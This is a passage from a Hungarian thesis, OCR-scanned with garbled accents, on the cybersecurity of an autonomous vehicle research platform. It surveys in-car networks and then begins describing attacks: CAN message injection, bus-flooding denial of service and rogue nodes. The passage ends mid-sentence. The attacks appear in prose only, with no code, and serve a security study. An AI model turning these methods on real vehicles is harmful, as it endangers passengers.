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1. BEVEZETES

Napjaink technologiai fejlédése az autoiparra is kiterjed. Az autoék minél magasabb
szintd automatizalasa nem csak az utasok kényelmét, de biztonségat is szolgalja. A
modern autokba beépitett innovativ megoldasok lehetévé teszik az utasok magasabb
szintt informéltsagat, biztonsagat és kényelmét. Viszont a ndvelt automatizaltsag
1j, eddig nem létezs biztonsagi réseket is jelenthetnek. A Széchenyi Istvan Egyetem
Jarmdipari Kutatokozpont és a SZTAKI létrehozott egy jarmiifejlesztési platformot,
melynek célja autoném jarmiiranyitasi funkciok megtervezése, kiilonféle megoldasok
tesztelése, illetve jarmi-jarmi kozotti kooperativ kommunikacios stratégiak kifejlesz-
tése. Ezen szakdolgozatnak a célja ennek a platformnak a vizsgélata kiberbiztonsagi
szempontbol.

1. abra. Nissan Leaf autoném platform



2. ELTERJEDT JARMU KOMPONENSEK

1992-ben a NASA felvetette a kiber-fizikai rendszerek (CPS) fogalméat, mely rend-
szerek magukba foglaljak a szamitas, kommunikacié és vezérlés elemeit. A CPS
keretrendszer harom szintre bontva csoportositja a komponeseket: az érzkelés és
végrehajtas réteg a rendszerek szenzorait és aktuatorait tartalmazzak. Az appliké-
cios és vezérls réteg f6képp a felhasznaloi interakciokért felelGs, és a két réteget az
adatatviteli réteg koti 6sssze. Habar ez a keretrendszer nem kifejezetten a jarmiivek
felépitésére lett létrehozva, azokra is igaz.

2.1. Elektromos vezérlck

Manapsag a jarmidipari fejlesztések csaknem 90 szazalékanak valamilyen részét kép-
zik az elektronikai komponensek [26]. Digitélis alkatrészek elszor az 1970-es évek-
ben jelentek meg a jarmtvekben a fogyasztés optimalizalédsa érdekében, gazdasagi,
politikai okok, és a kornyezettudatosiag erésodésének hatasara. A motorszabélyozo
egység a kipufogogazok vizsgalataval képes hatékonyabb égés elérésére, az égéste-
rekbe fecskendezett lizemanyag és levegs aranyanak szabalyozasaval [17]. Eleinte
csak egy kozponti ECU végzett minden szabalyzo feladatot, manapsag mar viszont
egy olcsobb arkatekorias auto is 30-50 vezérlvel van felszerelve. Az id6k soran a
beépitett biztonségi, kényelmi, és szorakoztatd funkciok egyre novelték a szabély-
z6 elektronikdk szaméat, egy 2009-es években vasarolt prémium kategorids autoban
koriilbeliil 100 milli6 sor kod futott, szazszorosa egy F-22 Rapotor vadéaszgépnek [10].

2.2. Szenzorok és aktuatorok

A jarmiivekbe beépitett legtobb szofisztikalt funckiohoz sziikséges, hogy az auto
képes legyen a kornyezetével kapcsolatba 1épni, arrél informéciokat gytjteni, a kor-
nyezetét fizikai Gton befolyasolni. Ezekre a feladatokra a jarmiiveket kiilonb6z6
tipusu szenzorokkal és aktuatorokkal latjal el. A savtartd, a dinamikus sebesség-
tartd, vagy az egyéb sofért segité alkalmazésok elengedhetetlen részei a szenzorok.
Ha a jarmi nem képes a savszéleket jelolg utburkolati jelek, vagy a sajat, és elGtte
halad6 autok sebességeinek mérésére, ezeket a funckiokat lehetetlen kivitelezni. To-
vabba az utasok biztonsaga érdekében gyakran fizikai kdzbeavatkozas is sziikséges,
példaul a légzsakok, biztonsagi ovek aktivalasaval. Az aktuatorok kényelmi, infor-
maciovisszacsatold funckiokat is elvégezhetnek. Az tjabb jarmtivekben példaul a
korméanykerék nincs mechanikai 6sszekottetésben a kerekekkel, ezaltal a sofér kevés-
bé kap visszajeltést azon keresztiil, nem "érzik" azt. Magasabb kategorias autokban
megjelentek a kiilonb6z6 vezetési modok (sport, comfort), melyek kozt valtogatva,
a kormanykerékbe szerelt motor valtoztatni tudja a vezetés élményét.



2.3. Automotiv fedélzeti halozatok
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2. abra. Jarmi fedélzei halozatainak eloszlasa [1]

2.3.1. Halozati topologiak

A szamitasra képes elektronikak kozott fontos szerepet tolt be az informéaciomeg-
osztas, ebbdl kifolyolag ritka eset manapsag ezeket maganyosan alkalmazni. A sza-
mitogépeket (node-ok) azonban tobbféle képpen is Ossze lehet kétni, és kiillonbozs
topologidk kiilonboz6 elényokkel, és hatranyokkal jarnak.

A jarmiivek fedélzetén is gyakran alkalmazott busz topologia az egyes ECU-kat
egy darab busz vezetékre koti, ezen keresztiil folyik minden kommunikacié. Ennek
elénye, hogy a hélozat viszonylag egyszerd, és az ara is alacsony a felhasznalando
kédbelek hossza miatt, ezért idealis a rengeteg fedélzeti ECU 6sszekotésére, példaul
egy kozponti gerinc-buszon keresztiil. Azonban, ha a kdzponti busz vezeték meg-
hibasodik, az egész haldzat kiesik, tovabba mivel az 6sszes forgalom ezen halad &t,
az adatatviteli sebesség viszonylag alacsony, és valamilyen megoldas sziikséges a
kommunikécio iranyitasara (CSMA, TDMA).

A gytird halozati felosztasban a node-ok egymés utédn vannak csatlakoztatva,
valamint az elsG, és utols6 node is Osszekottetésben &ll, igy alkotva meg a gytird
format, akar csak pontok egy korvonalon. A kommunikiciés csomagok a szomszé-
dos node-ok kozott, altaldban egy iranyba haladnak, kétiranyt kommunikaciohoz
jabb vezetékek sziikségesek. A gytri topologidnak, és az egyirdnyu adataramlés-
nak koszonhetéen a csomagiitkézések redukaléodnak, illetve az atviteli sebesség a
buszokhoz képest magasabb. A felépités hatuliitGje, hogy ha egy node is kiesik, az
az egész hélozatot érinti, illetve tjabb node-ok hozzdadasahoz meg kell bontani az
osszekottetéseket, ami gatolja a miikodést.

A csillag topologia napjaink legelterjedtebb halozati felosztasa. Lényege, hogy a
minden node egy kézponti hubhoz csatlakozik, legyen az switch, vagy méasik node. A



kozponti elem szerverként iizemel, és a beérkezd csomagok tovabbitasat feliigyeli. A
hubok lehetnek passzivak, amik a beérkezd csomagokat mindenféle feldolgozas nélkiil
broadcastelik minden iranyba, illetve aktivak, melyek képesek a csomagokat, jeleket
ujra generalni, s6t bizonyos sériilt packetek javitasat is elvégzik. A topologia elénye
a gyors kommunikécio, a kozponti hub altak biztositott konnyt tizemeltethetdség, a
gytri felosztashoz képest a kiesé node-ok nem befolyésoljak a hélozat tobbi részét, és
a halozat bévitése, vagy node-ok kivétele sem allitja le a kommunikaciot. Hatranya
azonban, hogy ha a kozponti elem kiesik, akkor az egész halozat leall, tovabba az
adatatviteli sebesség a node-ok szaporodasaval csokken.

A mesh topolégidban minden node a halozat Gsszes tobbivel elemével Osszekot-
tetésben van. FEz adatatviteli, biztonsagi, valamint megbizhatésagi szempontbdl is
kedvezd, hiszen ha barmelyik node kiesik, a tobbi zavartalanul tovabb tud kommuni-
kalni. A csomagok kiildésére két lehetséges modszer van: a routing, ahol valamilyen
logika alapjan (példaul legrovidebb ut) megadott ttvonalon haladnak a csomagok,
és a flooding, ahol az egész halozatot elarasztjak azok, habar ez a performanciara is
kihatassal van. Ez a megoldas nem a legkedvez&bb, a nehezebb konfiguralhatosag,
és a rengeteg vezeték, és egyéb hardware sziikségletek miatt.

A fa felépités egy hierarchikus modell, ahol minden node-nak tobb gyereke, és
egy Gs node-ja lehet. Ez alél csak a root node kivétel, aki a hierarchia tetején all,
neki Gse nincs. A halézat konnyen telepithet és tizemeltethets, azonban a root node
kiesésével az egész halozat meghal.
is létrehozhatok, melyek nagyon rugalmasak, azonban komplexitasuk miatt bonyo-
lultabb a tervezésiik.

=T a  oR5
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3. abra. Halozati topologiak



2.3.2. CAN

Komplex funkciékhoz az ECU-k kozott szoros egyiittmiikodésre van sziikség, ezért a
jarmiveket kommunikacios halézatok szovik at. A kiilonb6zd halokat funckioé szerint
valasztjak meg, melyeket Wolf és tarsai 28| 6t csoportba osztva részletez. A leg-
elterjedtebb fedélzeti halozat a CAN (Controller Area Network), melyet a BOSCH
fejlesztett ki. A haldzat az autoiparbol ered, ahol az egyre gyarapodo vezeték-
kotegeket kivantak minimalizélni. A CAN egy ISO definialt soros kommunikacios
standard, ahol a héalozat részeit képz6 ECU-kat (node) egy vezetékparbol felépiils
busz kot 6ssze. Az elektromos zavarok elleni immunitasra, a mésodpercenként egy
megabit adatatviteli sebességre, és a hibas adatok felismerésére és javitasara képes
halézat manapsag mar az autdiparon kiviil is elterjedt. A CAN egy multi-master
halozat, tehat nincs kijelolt vezérlé node, ami feliigyelné a kommunikaciot. FErre
a célra CSMA (Carrier Sense Multiple Access) protokollt hasznal a busz egyidejd
hasznalatanak elkeriilése érdekében, minden node-nak varnia kell iizenetek kiildé-
se el6tt, amig fel nem szabadul a busz. Egyszerre kiildott csomagok tiztkézésének
feloldasahoz a standard egy prioritast jelz6 mez6t hasznal azok headerjeiben, ahol
a magasabb prioritést élvezé csomagok vehetik igénybe elGszor a buszt. A proto-
koll négy frame tipust definial: adat frame adatok kiildésére, remote frame adatok
gytjtésére, hiba frame, valamint overload frame adat, vagy remote frame-ek késlel-
tetésére. [12].

A CAN adat frame az egyetlen modja az adatok kozlésének, és az alabbi mez&kbdl
épiil fel: az els6 bit az ugynevezett state-of-frame (SOF) az tizenet kezdetét jelzi.
Ezt kéveti a 11 bit hosszt SID (Standard IDentifyer), ez hatérozza meg az tizenetek
prioritasat. A SID csak az alap frame-ek esetén 11 bit hosszu, létezik egy kiegészitett
(extended) valtozat, ami extra 18 bitet hasznal. Az RTR (remote transmission
request), amennyiben ez 0 értéket vesz fel azt jelzi, hogy a jelenlegi egy adat frame,
1-es érték esetén pedig remote frame. Fzt koveti egy identifier extension bit, amihez
a standard 11 bit hossza SID esetén 0 értéket kell tarsitani, extended adat frame
esetén pedig 1-et. Az RBO0 bit konvenci6 alapjan 0 értékkel kell, hogy rendelkezzen.
Az RTR, IDE, valamint RB0 biteket vezérls biteknek is nevezik. Ezeket koveti a data
length code (DLC), mely az azt kovets adatok hosszat bajtok szamaban adja meg,
ami nullatol nyolc bajtig terjedhet. A fogadé node-ok a CRC (cyclic redundancy
check) biteket felhasznalva ellndrizhetik a beérkezd adat validitasat. A kovetkezd
mez6 (ACK) a validacio eredményét jelzik. Az ACK frame els6 bajtja alatt a kiilds
fél 1-es értéket ir a buszra, amennyiben a validacioé sikeres volt, a fogado felek azt
lehtizzak O-ra. Amennyiben ez nem torténik meg, a kiildé node észleli, hogy hiba
tortént, és késébb 1jbol probalkozik a kiildéssel. A frame-ek végét a 7 bit hosszi
EOF (end of frame) mez§ jelzi, aminek az értékei csak 1-esek lehetnek.

2.3.3. LIN

Kisebb, 6nalld6 halézatokhoz - mint az elektromos ablakok, tiikrok, vagy koézponti
zéar - LIN-t (Local Interconnect Network) alkalmaznak, mely egy olcso, alacsony
savszélességgel rendelkezé CAN alternativaként lett kifejlesztve. Az egyszerti, alha-
lozatokra kifejlesztett LIN egy darab master, és maximum 16 darab slave node-bol



épil fel. Ebbdl a szerkezetbdl adéddan nincs sziikség a CAN halozatokban alkal-
mazott csomag titkozések elkeriilésére. A LIN frame (4) egy header-bdl és valaszbol
all. A kommunikaciot a master kezdeményezi, ami el6re definialt iitemezés alapjan
headereket kiild a buszra, amikre aztan a slave-ek valaszolnak.

Frame
Response Interframe
_ Header = SEaie _ Response = ‘space =
Break Synch |dentifier Data 1 Data 2 Data3  Checksum

4. abra. LIN frame [2]

A headerek els6 mezGje a sync break, ami a slave node-oknak ad jelzést az
iizenet kezdetérsl. Ezt koveti egy sync mezd, aminek elére meghatarozott értéke van:
0x55 (binarisan 01010101). Ennek a valtakozo jelnek a segitségével a slave node-
ok, az emelkedd és es6 élek elemzésével, Gjra tudjak szamitani a buszon hasznalt
baud értéket, tehat az adatatvitel sebességét, igy a node-ok Gsszhangba keriilnek.
Ezt koveti egy azonositd, amiket a node-ok feldolgozva a kévetkezdket hajthatjak
végre: inaktivak maradnak, mésik node-ok altak kiildott lizeneteket fogadnak, vagy
iizeneteket kiildenek a buszra. Egyszerre csak egy node kiildhet iizeneteket, amik
2-t6l 8 bajt hosszti adat mezsbdl, illetve egy 8 bajtos checksum mez&bdl allnak.
A checksum mez6 az adatok validitasanak ellendrzésére szolgal. Az alap checksum
mez§ csak az adatokra vonatkozik, viszont a masodik generéaciés LIN protokoll ehhez
a headerben talalhato azonositot is hozza csatolja [2].

2.3.4. FlexRay

A FlexRay kommunikiciora két csatornat hasznal (A és B), és csatornanként 10
Mbit /s adatéatviteli sebességre képes. Egy node csatlakozhat csak egy, vagy akar
mindkét csatorndhoz is, és a hélozat tobbféle topoldgia alapjan is elrendezhetd
(aktiv- vagy passziv csillag, busz, és hibrid topologiak), ezaltal rengetegféle szitua-
cibban alkalmazhato. A FlexRay-t gyakran a jarmtivek gerinchélozataként is alkal-
mazzak. A CAN prioritas alapt csomagkiildési mechanizmusaboél adédoéan bizonyos
iizenetek késve vehetik igénybe a halozatot, ezért biztonsagkritikus teriileteken -
példaul Drive-by-Wire - nem alkalmazhat6. Erre nytjt megoldéas a FlexRay, és az
altal alkalmazott TDMA (Time Division Multiple Access), aminek az alapjait &l-
lando, altalaban egy- és 6t milisecundum ko6zotti hosszal rendelkezé kommunikacios
ciklusok alkotjak. Egy ciklus 4 szegmenshdl épiil fel: statikus szegmens az allando
, determinisztikus adatok részére; dinamikus szegmens a CAN-hez hasonl6 nem de-
terminisztikus adatoknak; halézat kezelésére fentartott szegmens, illetve egy sziinet,
ami elGsegiti a node-ok kozotti szinkronizéciot. A statikus szegmens elére definialt
cellakra vannak osztva, amikbdél minden node egyet-egyet kap. A node-ok csak a
sajat cellajuk idejében kiildhetnek adatot a buszra, amennyiben ezt nem teszik meg
varniuk kell a kovetkezs ciklusig. A FlexRay ritkan kiildott adatok szaméara tartja



fent a dinamikus szegmenst. Ez minicelldkra van osztva, melyeket a node-ok sziik-
ség szerint lefoglalhatnak, mely ekkor teljes méretd frame-mé novekszik. A szegmens
hossza allando, igy csak bizonyos mennyiségl adat fér el benne, és a CAN-hez ha-
sonldéan priorids alapjan ddl el, hogy egy adott frame kap-e helyet. Amennyiben
betelt a szegmens, a node Gjraprobalkozhat a kévetkezs ciklusban.

A node-ok a rendelkezésiikre all6 cellakat megadott frame formatum alapjan tolt-
hetik fel. Az adatok a payload mez&ben, maximum 254 bajtnyi helyet foglalhatnak
el, melyet footer mez6 kévet harom nyolchbites CRC értékkel ellatva az adatok val-
iditasanak vizsgalatara. Minden frame elején 5 bajt header kap helyet. Az elsé 5 bit
kiilonb6z6 statuszokat jeleznek, példaul ha a payload mezé nem tartalmaz adatokat.
Ezt koveti a 11 bit hosszu frame ID, amit minden node a halozat tervezése soran
kap meg, valamint a cellakiosztésok is ezek alapjan torténnek. Ez utan a payload
mezG6 hossza talalhatod, amit a header ellenérzésére hasznalhato CRC kovet. Végiil,
a payload kezdete el6tt, egy 6 bites ciklus szamlalo talalhato.

A FlexRay legalapabb idGegysége a microtick, amit minden node a sajat belsé
oszcillatora alapjan hataroz meg, tehat ez node-onként egyedi. Ebbdl szarmazik
le a macrotick, ami a rendszerszintd idézitésekért felelés. Egy macrotick mindig
microtickek egész tObbszorose, viszont fontos, hogy ez szorz6 node-onként eltérhet. A
macrotick értéke futas alatt valtozhat, amit egy szinkronizécios algoritmus allit [25].

2.3.5. MOST

A kiilonb6z6 multimédias eszkozok autdkba szivargasa megteremtette a sziikséget
a nagy savszélességii halozatokra. A MOST (Media Oriented System Transport)
egy ISO/OSI standardot kovetd, szaloptikas halozat, infotainment rendszerek ko-
zOtti kommunikéciora, ami akar 150 Mbit /s-es savszélességre is képes (MOST150).
A halézatra maximum 64 node-ot lehet gytird, csillag, és busz topolégiakban csat-
lakoztatni. A MOST rendszert két szempont alapjan tervezték: egyszert, funkcio-
orientalt felépités, melynek eredményeként megsziilettek az tgynevezett funkcios
blokkok. Tovabba a rendszernek képesnek kell lennie csomag alapi, streamelt, és
vezérlé adatok tovabbitésara is, amit a frame-ek struktirdjaval valositottak meg.

A MOST rendszerek alapjat a funkciés blokkok képzik, melyek az OSI modell
legfelsd, applikacios szintjén helyezkednek el, és egy interface-t definialnak, melyen
keresztiil az adott MOST eszkozt lehet vezérelni. A funkcids blokkok, a programozasi
nyelvekbdl ismert tulajdonsagokat, illetve fliggvényeket definidlnak. Egy CD lejatszo
esetén példaul tulajdonsag lehet a lejatszandoé szam, fiiggvény pedig a CD olvaso
kinyitasa/becsukasa.

A funkcités blokkok hasznélaténak szemszogébdl a MOST héarom szerepet kii-
16nboztet meg. A legalso szinten a slave-ek taldlhatoak. Ezek egyszerd MOST
eszkozok, melyek blokkjaikon keresztiil szolgéltatjak funckionalitasukat. Ezeket a
funkciés blokkokat a controllerek iranyitjak komplexebb feladatok elérése érdekeé-
ben, példaul a radié vezérelheti a CD lejatszot, illetve az erdsit6t is. Ezek mellett
a controllereknek is lehetnek sajat funkcios blokkjaik. A hierarchiaban legfeliil a
felhasznaloi interakciora alkalmas HMI (human machine interface) helyezkedik el,

melyen keresztiil a felhasznalok, némi absztakcion keresztiil vezérelhetik, konfigural-
hatjak a MOST rendszert.



A MOST data link réteg definidlja a kommunikaciohoz hasznalt frame-ek struk-
tarajat. A FlexRay-hez hasonléan a MOST két csatornat definial: egyet adatok
szinkron streamelésére, egyet adatcsomagok aszinkron kiildésére, viszont eltérGen
egy harmadik, vezérls jelek szamara elkiilonitett csatorna is létezik |[3].

2.3.6. Bluetooth

Bluetooth révid hatotéavolsagi Gsszekottetést biztosit hordozhatd eszkézok szaméa-
ra. A technologia a kedvez§ ara, és sokoldalisdga miatt széleskorben elterjedt, és
a mai autok infotainment rendszereinek alap felszereltségét képzi. A jarmiivekben
a Bluetooth nem t6lt be bitzonsagkritikus szerepet, féleg a fedélzeti rendszerek, és
a felhasznalok eszkozei kozott igyekszik elmosni a hatart, példaul egyes telefonos
funkciok vezérlésének az autd felhasznaloi feliiletére torténd atruhézésaval. A Blu-
etooth a 2.4 GHz ISM spektumban bocsat ki radiojeleket masodpercenként 1 Mb
adatatviteli sebességgel, melyet FHSS-sel (frequency-hopping spread spectrum), a
kovetitésre hasznalt radio freqvencia gyors - méasodpercenként 1600 - valtogatéaséaval
tesz ellenallobba zavarjelek ellen. Minden Bluetooth eszkéznek van egy gyérilag bele-
égetett IEEE tipust, 48 bites azonositoja, és egy bels6 o6raja, ami masodpercenként
3200-szor it (frekvencia valtasok kozott kétszer). Bluetooth eszkozok piconetek-
be rendezddve kommunikalnak, melyek egy master, és maximum 7 slave eszkdzbol
allnak. Ezek a szerepek nincsnek beleégetve az eszkozokbe, piconetenként valtoz-
hatnak. A master és slave eszkdzok a kommunikécios médiumot TDD (time-division
multiplex) alapjan osztjék fel: a master a paros, mig a slave-ek a paratlan sorszamu
idésavokban koézvetithetnek [8][20].

2.3.7. ISO/OSI modell

Az OSI modell (Open Systems Interconnection) egy univerzélis elméleti modell,
mely a telekommunikacios és szamitogépes kommunikaciot standardizalja, barmiféle
technologiai konkrétum el6irasa nélkiill. Habar a modell csak az elméleti sikon 1é-
tezik, fontos megemliteni, hiszen rengeteg konkrét kommunikaciés protokollnak az
alapjat képzi. A modell az adatok folyaméat hét rétegre bontja.

A legfelss, hetedik az applikacios réteg. Ez jelenti az tizenetek kiindulasi- és
végpontjat, a felhasznaléi programok ezen keresztiil tudjak a halozati funkcidkat
hasznalni. A hetes rétegben alkalmazott funkcidokra példa a file megosztas, vagy
weboldalag bongészése. Egy szinttel lejjebb talalhatd a prezentécios réteg, amely
az lizeneteket az applikacios réteg altal definialt forméra hozza, valamint titkositasi,
tomoritési, és operacios rendszerek kozotti inkompatibilitasok atfedését végzi. Ez
alatt talalhato a session réteg, ami a helyi (local) és a tavoli (remote) kommunika-
cios fél kozti "session" felépitéséért, fenntartasaért, végiil lebontasaért felel. Ebben
a rétegben helyezkednek el a tartomanynévrendszer protokollok, mint példauk a
DNS. A stack negyedik szintjén a transport réteg talalhato, ami a valtozdé mére-
tld adatok kiildését latja el. Ennek érdekében sziikség szerint azokat feldarabolja,
ezt masnéven szegmenticionak is hivjak. A transport réteg protokolljai lehetnek
kapcsolat-orientalt, vagy kapcsolat nélkiiliek, amikre jo példa a TCP és az UDP
protokoll (habar azokat a TCP/IP stack definidlja). A kapcsolat-orientélt proto-



kollok kiilonb6z6 mechanizmusok segitésével (TCP handshake) latjék el az tizenetek
megbizhat6, veszteségmentes kiildését, ezzel némi gyorsasagot veszitenek a kapcsolat
nélkiili protokollokkal szemben. A halozati (network) réteg az iizenetek cimzetthez
vald eljuttatéasat végzik. A transport rétegben keletkezett szegmenseket tovabbi,
kisebb elemekre, packetekre bontja, és szamukra a megfelel§ ttvonalat kivalaszt-
va (routing) felcimzi azokat. A data link réteg, hasonloan a hélozati réteghez, a
packetek cimzésével foglalkoznak, azonban csak a lokalis hal6zaton beliil. Erre a
halozati node-okba égetett MAC cimeket hasznaljak. A legalso a fizikai réteg, ami
a digitalis adatok és kimend/beérkezd jelek kozotti konvertalasaért felelgs. Tobbek
kozott rendelkezik a hasznalt logikai fesziiltségi szintekrél, csatlakozokrol, vagy koz-
vetitési médiumrol (kébel, optikai vezeték). A fizikai rétegben definialt ismertebb
protokollok pélaul a Bluetooth, vagy a CAN.

Az iizenetek a feladod szamitogép applikacios rétegében keletkeznek, majd a stac-
ken lefelé haladva a rétegek egymasnak adjak azt. Egyes rétegek csak adatmani-
pulécioval foglalkoznak, mig a transport, network, és data link rétegek headerek és
trailerek formajaban extra adatokat ftiznek hozzajuk, mely folyamatot encapsulat-
ionnek nevezik. Az OSI modell frame-je a masodik rétegben &ll els, melyet a 5.
abra mutat. A cimzett oldalan a beérkezett frame-ek az ellenkezd iranyba, felfelé
haladnak at a rétegeken, mig az iizenet el nem jut a felhasznéloi szoftverhez.

7. Applikécid Adat
6. Prezentacio Adat
5. Session Adat
4. Transport Transport Adat «—— szegmens
Header

Network | Transport

3. Network Adat [€«——— packet

Header Header
A Data Link | Network | Transport Data Link
2. Data Link Header Header Header Adat Traler [€ frame
1. Fizikai Bitek

5. dbra. OSI stack, és az elgallitott frame

2.3.8. TCP/IP alapu halozatok

A TCP/IP alapu hélozatok az internet szerves részeként a vilag nagy részét atfedik.
TCP/IP és a fentebb targyalt OSI modell stackjei nagyrészt megegyeznek, azonban
a stacket hét helyett csak négy rétegre bontja. Ez annak az eredménye, hogy a
session és prezentacios rétegek az applikacios réteggel Gsszeolvadtak, mig a fizikai
réteget a modell nem definial a hardware fiiggetlenség érdekében. A link réteg a
TCP/IP stack legalso rétege, mely nagyjabol az OSI modell data-link rétegének
felel meg. Az internet réteg felelGs a csomagok kézbesitésének lebonyolitasaért, amit



idegen szoval routingnak neveznek. Ebben a rétegben talalhato az internet protokoll,
melyek a routing szabélyrendszerét, és a hal6zatok node-jainak kiosztott virtualis
cimzést (IP cim) definidlja. A réteg a transport réteg fel6l beérkezs adatokbol
tgynevezett datagrammokat csinal IP header hozzacsatolasaval (encapsulation), ami
tobbek kozott a felado és a cimzett IP cimét tartalmazza. Ebben a rétegben taladlhato
a halozatok feltérképezésére hasznalt ARP és RARP protokollok, melyek a fizikai
(MAC) és a virtualis (IP) cimek Osszeegyeztetését végzik, tovabba a kozismert ping
funkci6 altal hasznalt ICMP protokoll is.

A transport réteg a kommunikaldé végpontok kozotti adatatvitelrsl rendelkezik.
A felek kozotti osszekottetés lehet kapcesolatorientélt, ilyen a transmission control
protokoll (TCP), ami egy megbizhato, hibék kezelésére alkalmas, adatéatviteli csator-
nat biztosit végpontok kozott. Minden TCP kapcsolatot egy harom lépéses kézfogés
procedira el6z meg, melynek lényege egy megbizhaté kommunikéicios csatorna lét-
rehozésa. A TCP-vel szemben a user datagram protokol (UDP), habar gyorsabb,
de megbizhatatlan, tizenetorientalt kapcsolatot definidl. Az UDP iizeneteket kiild6
applikacié nem torédik a fogado féllel, nem alkalmaz a TCP-hez hasonlé hands-
hake eljaréast, az elkiildott packeteket nem vizsgalja, hogy megérkeztek-e. Ezért az
UDP olyan teriileteken alkalmazhato, ahol szamit a gyorsasig, és némi adatvesztés
is megengedhetd, példaul internetes telefonhivasoknal (VoIP). Applikacié specifikus
csatornak létrehozésanak érdekében a réteg szamozott portokat hoz létre, melyeknek
egy része konvenci6 alapjan le van foglalva, mint példaul a 22-es port az ssh kapcso-
latoknak, vagy a 443-as port a https forgalomnak, 1024-nél nagyobb portok viszont
szabadon hasznalhatok. Az applikiacios réteg az osi modell fels6 harom rétegéhez
hasonlé feladatokat 1at el, valamint itt vannak definidlva a felhasznal6i szoftverek
altal hasznalt prokollok, mint a HTTP, FTP, vagy SMTP [9].

Habar a jarmiiparban kevésbé elterjedt, Rainer Steffen és tarsai megvizsgalték
egy teljesen IP alapu jarmihalozat lehetségeit [26], és habar a magasabb kovetelmé-
nyeket megkdvetels applikaciok sziikségeit is képes teljesiteni, nem minden ECU-nak
van sziiksége a teljes IP stack-re. Ezek mellett sok pozitiv aspektusa is van az ilyen
tipusu haloknak: leegyszertisodik a fedélzeti kommunikacio, és a fejlesztés menete
is, a mar létez6 szamtalan internetes technoldgiak és ismeretek felhasznalasaval.
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6. abra. OSI hélozat modell és TCP/IP stack

2.4. Jarmiivek kozotti halozatok - VANET

A jarmitvek technologia fejlédése nem csak azok fedélzetén jelenik meg. A gyor-
sabb, hatékonyabb, és nem utolsé sorban biztonsagosabb kozlekedés elérésének egyik
kulcspontja az intelligens kozlekedési rendszereket (ITS) alkoto a VANET (Vehicu-
lar Ad-hoc Network) halézatok. A VANET halok részeit képzd jarmiivek nem csak
egymassal, de az utmenti inftastruktura elemeivel (RSU - road side unit), s6t még
a gyalogosok mobil eszkozeivel is képesek adatot cserélni, ami altal egy sokkal rész-
letesebb, és tagabb képet kapnak a kornyezetiikrsl. A V2X (vehicle to everything)
kommunikaciora részben cellularis halokat (f6leg 5G), illetve az erre a célra kifejlesz-
tett WAVE (Wireless Access in Vehicular Environment) technolégiat alkalmazzak.
A WAVE stack alapjat a DSRC (Dedicated Short Range Communication) alkotja,
aminek pontos alkalmazasat a széles korben elterjedt WiFi standard kiegészitése, az
IEEE 802.11p definial. Habar a szabvanyok nagyrészt ki vannak dolgozva, a halozat
szokvanyostol eltérs természetébdl adodo kihivasok miatt, példaul a gyorsan valtozo
topologia miatt, a V2X technologia még nem elterjedt [18].
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7. abra. Intelligens kozlekedési rendszer (ITS) [27]

2.5. OBD 1II

A fedélzeti diagnosztikai rendszer (On-Board Diagnostics) beépitését elrendels sza-
balyzatok eleinte a jarmtvek kibocsajtasanak mérséklete volt a célja. A rendszert
felhasznalva évente tesztelték az autok kibocsajtasat, és csak akkor engedték azo-
kat vissza a forgalomba, ha megfeleltek az elGirt kovetelményeknek, igy 6szténozve
a vasarlokat a konyezettudatosabb jarmiivek megvasarlasara. Mivel nehéz volt a
kiilonféle diagnosztikai rendszerekbdl a szabvanyositas hianyaban kiolvasni az ada-
tokat, ez a terv becsddolt. Ezt kivanta orvosolni az OBD II, mely szabvanyositotta
a rendszerhez kapcsolhatd olvasd eszkozok csatlakozojat, és az informéaciok kozlé-
sére alkalmazott kommunikéicios sémat. A fedélzeti diagnosztikai rendszer az auto
csaknem egészérdl képes diagnoszikai informaciokat szolgaltatni, tehat eléri a fedél-
zel hélozatokat, és ECU-kat, s6t nem csak azok olvasaséara, de irésara is képesek
(példaul firmware update). A rendszert legtobbszor az autoszerel6k hasznaljak, de
leteznek lelkes rajongok, akik jobb teljesitmény érdekében tuningoljék rajta keresz-
tul autojukat. [22]
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8. abra. OBD II port és olvaso [4][5]

13



3. TAMADASI VEKTOROK MODERN JARMUVEK ELLEN
3.1. Jelenlegi biztonsagi megoldasok

Habar a miltban a jarmiivekbe épitett biztonsagi mechanizmusoknak nem tulaj-
donitottak nagy szerepet, némi védelem megtalalhatd benniik. Biztonsagkritikus
ECU-kban megjelentek a kriptografiai elemek a kommunikéci6 biztositasra, a fizikai
manipulacié ellen is fel lettek vértezve, s6t a legmodernebb ECU-k a szoftver mo-
dositéast is detektalni tudjak bootolas ideje alatt. A kiilonb6z6 buszokat 0sszekotd
gateway-ek az athaladd csomagok sztirésére is képesek, igy akadalyozva meg a kar-
tékony tizenetek terjedését. A teljes védetlenségnél jobb megoldasok ezek, a legtobb
esetben azonban konnyen kijatszhatok.

3.2. A jarmii fedélzeti rendszerei elleni tamadasok

Habar egy modern autéban kiilonféle halézatok sokféle feladatot latnak el, komp-
lexebb feladatok miatt kozottiik 1éteznek atjarasi pontok (gateway), tehat szinte
minden komponens csatlakozik a CAN, vagy FlexRay gerinchélézathoz, igy annak
a tdmadasa és sikeres kontrollalasa az egész rendszert meghénithatja. A tamadok
dolgat megkonnyiti az is, hogy a hélozaton halado6 iizenetek altalaban nincsenek
titkositva, és habar az iizenetek strukturaja nem ismert, és a gyartok sem teszik
ezeket publikussa, azok tartalma dekodolhatd, és bizonyos auté modellek esetén
maganszemélyek munkéjanak koszonhetSen online megtalalhatd. Tovabbi biztonsa-
gi rést jelent, hogy a hal6zat node-jai nem képesek a beérkez§ iizenetek validitasara.
Ezeket a tulajdonsagokat kihasznalva hamis iizeneteket lehet a halozatba juttatni,
ahogyan azt Tobias Hoppe és tarsai is bemutattak tesztjeikben [15], ahol egy meg-
fert6zott ECU 200 km /h sebesség felett CAN iizenetek injektalaséval leengedte az
ablakokat, majd a hal6zaton blokkolta a tovabbi kommunikaciot, igy akadalyozva
meg az utast az ablak felhiizasaban. Ahogy Hoppe-ék is bemutattak, a CAN ha-
lozatok DoS tamadasok ellen sem nyidjtanak védelmet. Erre a prioritas orientalt
CSMA /CD kommunikacios szabalyrendszer kihasznalasaval van lehetdség, a csator-
na legmagasabb prioritasu lizenetekkel torténd elarasztasaval. A magas prioritasnak
koszonhetGen ezek mindig els6bbséget élveznek, ezaltal a tobbi ECU {izenetei nem
keriilnek tovabbitdsra. A CAN autentikacié nélkili kommunikaciojat kihasznalva
1j node-ok telepithet6k, melyek képesek lehallgatni, és befolyésolni az egész halo-
zatot, s6t a CAN protokoll automatikus hiba lokalizacios funkcidjat kihasznalva -
ami a meghibasodott ECU-k levalasztasat is tamogatja - a tdmadok kedviikre ala-
